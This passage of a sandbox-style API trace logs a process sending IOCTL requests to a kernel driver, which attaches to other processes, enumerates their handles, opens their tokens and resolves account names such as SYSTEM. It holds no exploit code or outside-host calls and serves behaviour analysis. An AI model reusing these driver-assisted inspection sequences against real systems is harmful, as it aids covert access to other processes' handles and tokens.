nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.072] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.072] PsAcquireProcessExitSynchronization () returned 0x0 [0137.072] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054735d0) [0137.072] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.072] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.072] PsReleaseProcessExitSynchronization () returned 0x2 [0137.072] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0137.072] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.072] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.072] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.072] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.072] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0137.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.072] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0137.073] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.073] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0137.073] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.073] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.073] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.073] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.073] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.231] CloseHandle (hObject=0xc8) returned 1 [0137.231] CloseHandle (hObject=0xc0) returned 1 [0137.231] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.231] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.231] PsAcquireProcessExitSynchronization () returned 0x0 [0137.231] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.231] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0137.231] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.232] PsReleaseProcessExitSynchronization () returned 0x2 [0137.232] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.232] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.232] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0137.232] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.232] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.232] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.232] PsAcquireProcessExitSynchronization () returned 0x0 [0137.232] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.232] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0137.232] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.232] PsReleaseProcessExitSynchronization () returned 0x2 [0137.232] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.232] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.232] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0137.232] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.232] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.232] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.232] PsAcquireProcessExitSynchronization () returned 0x0 [0137.232] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.232] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0137.232] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.232] PsReleaseProcessExitSynchronization () returned 0x2 [0137.232] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.232] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.232] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0137.232] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.232] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0137.233] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.233] PsAcquireProcessExitSynchronization () returned 0x0 [0137.233] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.233] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0137.233] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.233] PsReleaseProcessExitSynchronization () returned 0x2 [0137.233] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.233] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0137.233] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.233] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.233] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.233] PsAcquireProcessExitSynchronization () returned 0x0 [0137.233] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.233] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0137.233] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.233] PsReleaseProcessExitSynchronization () returned 0x2 [0137.233] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.233] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.233] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0137.233] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.233] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0137.233] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.233] PsAcquireProcessExitSynchronization () returned 0x0 [0137.233] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.233] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0137.233] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.233] PsReleaseProcessExitSynchronization () returned 0x2 [0137.233] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.234] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.234] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0137.234] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.234] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0137.234] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.234] PsAcquireProcessExitSynchronization () returned 0x0 [0137.234] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.234] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0137.234] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.234] PsReleaseProcessExitSynchronization () returned 0x2 [0137.234] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.234] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0137.234] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.234] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0137.234] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.234] PsAcquireProcessExitSynchronization () returned 0x0 [0137.234] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.234] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0137.234] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.234] PsReleaseProcessExitSynchronization () returned 0x2 [0137.234] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.234] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0137.234] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.234] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0137.234] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.234] PsAcquireProcessExitSynchronization () returned 0x0 [0137.234] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.235] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0137.235] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.235] PsReleaseProcessExitSynchronization () returned 0x2 [0137.235] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.235] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.235] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0137.235] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0137.235] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.235] PsAcquireProcessExitSynchronization () returned 0x0 [0137.235] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.235] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0137.235] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.235] PsReleaseProcessExitSynchronization () returned 0x2 [0137.235] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.235] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.235] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0137.235] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0137.235] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.235] PsAcquireProcessExitSynchronization () returned 0x0 [0137.235] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.235] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0137.235] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.235] PsReleaseProcessExitSynchronization () returned 0x2 [0137.235] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.235] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.235] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0137.235] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.236] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.236] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.236] PsAcquireProcessExitSynchronization () returned 0x0 [0137.236] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054735d0) [0137.236] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.236] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.236] PsReleaseProcessExitSynchronization () returned 0x2 [0137.236] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0137.236] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.236] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.236] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.236] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.236] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0137.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.236] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0137.236] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.236] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0137.236] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.236] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.236] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.236] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.236] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.238] CloseHandle (hObject=0xc8) returned 1 [0137.238] CloseHandle (hObject=0xc0) returned 1 [0137.238] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.238] DeviceIoControl (in: 